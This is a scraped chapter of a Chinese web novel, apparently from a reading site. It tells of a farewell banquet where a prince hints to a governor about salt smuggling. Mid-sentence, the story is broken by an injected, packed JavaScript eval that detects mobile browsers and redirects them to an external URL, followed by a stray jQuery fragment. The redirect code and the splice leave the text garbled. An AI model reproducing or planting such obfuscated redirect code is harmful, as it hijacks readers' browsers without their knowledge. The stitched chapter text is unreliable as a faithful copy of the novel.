123读书网 > 都市小说 > 古代卧底生存指南 > 35. 饯行
    为全始终之仪,饯行宴仍设于接风时的绮陌楼。不知是出于私心亦或殷勤,为了办好这场宴席,薛世平格外卖力。


    “薛刺史,别的不说,你这操办之才不输府内管事啊。”同僚揶揄道。


    薛世平好脾气地笑笑,翘首看着坊口。


    不一会儿,一架金丝楠木马车辘辘而行,转眼便到了眼前。车上下来一俊朗男子,正是晋王殿下。


    薛世平忙迎上前,毕恭毕敬道:“恭候殿下多时,里边请。”


    入了大堂,眼前一亮。两侧朱漆柱上缠金丝绦,烛火映得满堂流光。堂中设紫檀长案,银盘玉盏列阵般排开。屏风后的乐姬正徐徐弹奏曲乐,只闻其声不见其人。


    一众缙绅已在席间候着,见叶望入内,纷纷起身拜见。叶望环顾四周席位,紧邻着宋延入座。


    身披罗绫的舞姬随着突然激扬的乐声迈着碎步上台,纤足踏着鼓点,裙裾旋开金牡丹。时而聚作玉山将倾,时而散作流云四逸。


    “甚好!”叶望灌了些酒,率先叫好起来。气氛逐渐热烈,酒意上来,众人不再拘束,三三两两聚在一起,划拳助兴。


    宋延对拼酒全无兴趣,他看了一眼一旁醉作一团、与人称兄道弟的郭统,皱了皱眉,起身往中庭走去。


    叶望坐于席位,笑迎连绵不断前来祝酒的众官,终于不胜酒力般,将酒樽搁下。


    “李兄豪迈,本王佩服。”他瞧着对面一饮而尽的大汉赞道。


    “不敢不敢。”大汉面上浮起得意,嘴上谦虚道。


    “非是本王扫兴,但喝得着实多了些。”叶望佯装酒醉,揉了揉额角。


    薛世平眼观六路耳听八方,特意留神着,听了这话,忙道:“殿下可是乏了,要不散了吧。”


    叶望扫了一眼正在兴头上的众人,摆摆手:“不必,本王去中庭走走,醒醒酒。”说着站起身来。


    “哎。”薛世平应道,欲扶着叶望同去。


    “本王一人便好。”叶望懒懒说着,抬脚迈过门坎。


    青石板路蜿蜒穿过一池清泉,泉中锦鲤甩尾,搅碎满池云影。岸边一道朱红回廊,被翠竹掩映,隐隐有人影晃动。


    叶望稳了稳神,径直朝回廊走去。


    尽头,宋延正坐于池边,有一搭没一搭地喂鱼。听见声响,他偏头看过来,目光凝了一瞬,收手起身。


    回廊狭长,二人在两端无声对峙,叶望先开了口:“宋节使,好巧,你也出来醒酒?”


    “殿下雅兴,”宋延行了个礼,不愿多说,只点点头,“下官先行一步,就不叨扰了。”说着抬脚便要离开。


    “节使留步。”叶望不紧不慢道,“一人赏园甚是无趣,节使陪本王走走?”


    话说到这,便是不去也得去了。宋延抿抿嘴,回过身来。


    “此行广陵,有劳节使照拂。”叶望步至池边,从架上取了些鱼食。


    “殿下过誉,微末之劳,不敢当此。”宋延面无表情道。


    “广陵山川秀丽,当真是块风水宝地,想必也是极养人的。”


    宋延没出声,等着叶望后面的话。


    “只是待了久了,见了一些怪事,不知当不当讲。”


    宋延抬眼瞥他:“殿下请便。”


    叶望慢慢松手,任鱼食顺着指隙漏下,缓缓道:“本王厌饫珍馐,偶访市井小馆数处略作品尝。可十之有九,口味寡淡。问了店家,皆言盐价过贵,遂在菜里缩减了用量。”


    “这倒没甚,但本王偶然听闻有盐商在大市街边低声咒骂,话里话外……”他忽得停住,看了一眼宋延,压低声音道,“说的似是私盐。”


    宋延原本面色无波,听到此瞳孔紧缩了一下,强装镇定道:“私盐之事非同小可,殿下怕是听错了罢。”


    “许是吧,”叶望满不在乎地点头,继续喂鱼,“不过我还听他提到郭副使,不知是何事。”


    宋延沉默半晌,见叶望云淡风轻,似乎方才只说了句无关紧要的话,却在他心里掀起风浪。


    不愧是那姓季的爱将,挑拨有得一手。


    “宋节使万莫说本王挑拨离间,”叶望好似看穿了他的心思,补充道,“但有一言,本王务必要说出口。”


    “权柄久假恐渐迷虚实,民瘼不亲恐隔雾观渊,此非良臣之道。”


    宋延有些诧异地看向叶望,见他眼中没了寻日的浮浪,竟沉沉地震慑人心,然而只一瞬便消失不见。


    “酒后之言,若有得罪,还望节使海涵。”叶望眯了眯眼,眼波流转,勾起笑。


    宋延哑然。


    “对了,还有一事。”他又想起什么,忽得道,“四年前与契丹之战,并非陇西军有意抢功,乃我军斥候窥见契丹有绕袭淮南军后路之图,遂于中途截击,尽数剿灭。”


    “此事原不必说,然故人已殁,今借此机会相告,以解旧结。”叶望将手中残余鱼食一洒而尽,池边聚集的鱼群随着鱼食落入水面,一哄而上,搅动起滚滚水波。


    宋延僵在原地许久,不知叶望何时离开,只觉酒意全无,心头砰砰直跳。


    方才的话太过意外,叫他措手不及。这么些年,他不是未有过此猜测,但还是选择认定陇西军抢功,心中愤懑,顾影自怜许久,仿佛这样可以让他好受些。


    一丝羞愧与恼怒交织的情绪爬上脊背,这番话像一面铜镜,将他的懦弱与逃避全数映出,令他无处遁形。


    他想起方才叶望提的私盐,话里话外,似是在提醒什么。他目光沉沉,抹了把脸,驱散朦胧酒意。


    ——


    广陵的最后一宴,葵生拉着季辞秋与青戈,嚷嚷着不醉不归。然而饯行宴上,他面对满桌山珍海味,蓄势待发,早已将酒盏抛至一旁,只恨不能生出三头六臂,将佳肴悉数收入腹中。


    青戈冷眼旁观,对他这副模样早已见怪不怪。季辞秋沉默看了一会,忍不住提醒:“悠着点,仔细吃坏了肚子。”


    “无事,这才哪到哪,你可别小瞧我。”葵生含着羊腿,口齿不清,还不忘提醒旁人,“羊腿快些吃,冷了风味便不佳了。”


    季辞秋抽了抽嘴角,顺势将碟盏端至他桌案。


    “你不吃?”葵生瞪大眼睛道。


    季辞秋摇摇头。


    葵生张大嘴巴,似是不信竟有人能拒此美味,转而笑嘻嘻道:“那我便笑纳了。”


    季辞秋弯了弯嘴角,看向叶望的位席。


    咦,怎得没人?她心中疑惑,不知叶望何时离席,再一看,一旁的位子亦是无人。若未记错,那里方


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16860228|189194||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    才坐着的是淮南节度使宋延。


    她隐隐觉着蹊跷,想到自她抢亲受伤后,便对私盐案的后续一无所知了,也不知有何进展。如今圣上忽令叶望三日返京,调查猝然停滞,颇有中道崩殂之感。


    叶望会甘心如此?她不太相信。私心里,她希望叶望能查清。不仅是因这是叶玄派给她的任务,更是因调查的过程中,她亲眼所见的因私盐饱受煎熬的芸芸众生。


    只是这条路艰难重重,见得多了,时常生出深深的无力感。


    “历史必然”,她又这样劝自己。她不过是偶然误入其中的外人,好像很难做些什么。就算做了,也很难改变什么。


    等脱离了罪身,便将这些通通抛下吧。她一遍又一遍对自己说。


    宴席上划拳声此起彼伏,太过喧嚣。季辞秋出了酒楼,步至江边。


    已近黄昏,江面浑黄,似陈年绢帛铺展开去,一直延升至天际。晚归的渔舟拖着疲惫的剪影,木桨搅碎粼粼灯影。


    季辞秋临江而立,任凭江风吹拂,久久凝望着江面。明日就要离开,怕是再难见这般绝景了。


    她静立许久,余光瞥见高处的一抹亮色。抬头望去,只见二楼临江的轩窗全然敞开,窗边坐着位雪肤花貌的女子。


    琼娘?她心头一动,探究看了看。女子着一身海棠红裙,在渐浓的夜色里灼灼。窗内笙歌未歇,她却好似没听见般,单手支颐,静静望着窗外苍茫的江水。


    坊间传言说,琼娘自京城而来。山高水长,独在异乡,孤身一人时,会想家吗?她静静看着。


    楼上人似是觉察她的视线,朝下瞧来,对上她探究的目光。她心头微愣,一时竟忘了移开眼。


    意识到失礼,她忙垂下头,却见女子眉眼弯弯,嘴角绽出一笑,如暗夜昙花。


    她心尖温热,亦回之一笑。


    ——


    夜已深,黎叔还在忙着打点行装。此行仓促,来不及细细筹备,只好拣些要紧的置办。


    静水轩中亦灯火通明,回府后,叶望便沐浴更衣,洗去一身的酒气,眼下散着头发,着一件月白中衣坐于院中。


    他想起什么,喃喃道:“黎叔,本王上次毒发是何时?”


    黎叔停下手中的活计,答得干脆:“四月廿八。”


    算起来,距今已近四个月。


    “王爷感觉可好?”黎叔担忧道。


    “无碍。”叶望淡淡道,上次毒发提前,为了压制毒性,免得拖累查案进度,私下里他按太医嘱咐的至高量服的药。如今看来,是有些效果。


    黎叔点头:“王爷若有不适,定要同老奴说。”


    叶望点头。


    说话间,青戈自外头而来。


    “如何?”叶望目光沉沉。


    “王爷,都办妥了,未引起怀疑。”


    叶望点头。饯行宴结束,他吩咐青戈将一封匿名信送到宋延府上,信中将数月以来的调查结果悉数写上,引出了一条清晰的路。


    虽有风险,却是他现今唯一可行,剩下的,便看天意吧。他仰头望着中天的明月,忽得想起在长平时,每当恶战前夜难以入眠,与季恪坐在营地前的草堆上时,也是这样看着明月,赌明日的生死。时过境迁,天翻地覆,竟又似误入轮回。